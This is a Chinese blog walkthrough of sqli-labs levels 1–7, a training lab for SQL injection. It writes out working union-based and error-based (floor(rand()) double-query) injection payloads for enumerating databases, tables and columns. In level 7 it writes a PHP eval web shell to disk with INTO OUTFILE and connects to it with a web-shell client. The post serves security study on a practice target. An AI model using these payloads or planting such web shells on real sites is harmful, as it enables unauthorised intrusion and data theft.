sqli-labs.less1-7过关记录

 

  • Pass 1

根据提示传入一个 ID 作为带数值的参数,并返回正常页面

 

 加上一个单引号,返回语句错误,,说明存在字符型注入

进行猜字段,输入'order by 4--+回显错误

 

 

 输入order by 3--+回显正常

 

 

 测试回显位,拼接-1‘ union select 1,2,3--+,可以看出2和3可以回显查询内容

 

 

 然后拼接version(),database()查看数据库版本和当前使用的数据库。5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

确定了回显位和数据库版本后就可以爆表和数据了

爆表 select group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段:select group_concat(column_name) from information_schema.tables where table_name ='security'

  • pass2

和pass1区别不大,数字型注入,不用单引号闭合

 

 

  •  Pass3

查看源代码可看见在闭合单引号的同时还需要闭合括号

 

 

 所以输入应该是-1’)union select 1,2,3---+

 

 

  •  Pass4

查看源码可看见,虽然在sql语句中不包括引号,但是在第一句中为id参数加上了一对双引号。

 

 

 所以注入语句应该为-1“)union select 1,2,3--+

 

 

  •  Pass5

输入单引号发现报错,可以确定是单引号闭合

 

 

 输入1‘ and 1=1--+返回You are in...........

  再输入1’ and 1=2--+时发现没有返回

这首先想到的是布尔盲注,但是看pass5的名字却是double query,根据字面意思是双查询。。。根据查阅资料后,通俗的来说在select中嵌套select来查询想要的数据,在通过mysql内部函数错误将错误信息和查询的数据一同输出

参考1:https://www.cnblogs.com/BloodZero/p/4660971.html

参考2:https://segmentfault.com/q/1010000000609508

然后我们可以构造相应的注入语句,首先判断列数输入'order by 3--+正常回显,输入‘order by 4--+无回显就说明有3列

 

 

 

 输入' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a--+

 我们来看一下这条语句组成的原理和效果:

rand()函数是生成一个大于0但小于1的数,通过floor()函数进行取整使得这个数要么是0要么是1,在通过concat()和group by统计,当出现重复数据时返回错误信息,但是里面的select database()语句还是执行了,所以将错误信息和查询的内容一同返回了。由于rand()函数存在随机性,所以不一定每次都能成功,多尝试几次就好了

 

 

 然后爆表的语句是' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a--+

再通过更改中间select的内容去获取其他数据表和字段信息

 

  •  Pass6

这一关和上一关差别不大,只是双引号闭合,注入语句其他不变

 

  •  Pass7

根据关卡名可以看出要求Dump into outfile来注入,可以差不多猜出来是要利用导出,可以写入一句话然后导出,通过菜刀去连接

 

还是一样输入id=1',返回错误信息,这次包含了两个括号那么闭合前面的也需要两个括号

 

 

 输入-1')) union select 1,2,3--+返回正常页面,还提示了使用outfile,那么基本可以断定了

 

 因为这里使用的phpstudy搭建的靶场,默认导出没有权限,所以更改mysql的配置文件,将secure_file_priv更改为为空,更改为/指定导出路径为根目录,更改为空是可导出到随意目录,还有一个null之无法导入导出

   

 

语句格式为select xxx into oufile '路径';

    我的注入语句为id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell1.php' --+

虽然这里提示错误了,但是没有影响,我们的shell1.php还是上传了上去

 

 

 

 

 然后我们通过菜刀连接上面的shell1.php密码是pass

 

 

 

 添加完成后连接就可以了

 

posted @ 2021-11-03 10:33  C1aySrc  阅读(95)  评论(0)    收藏  举报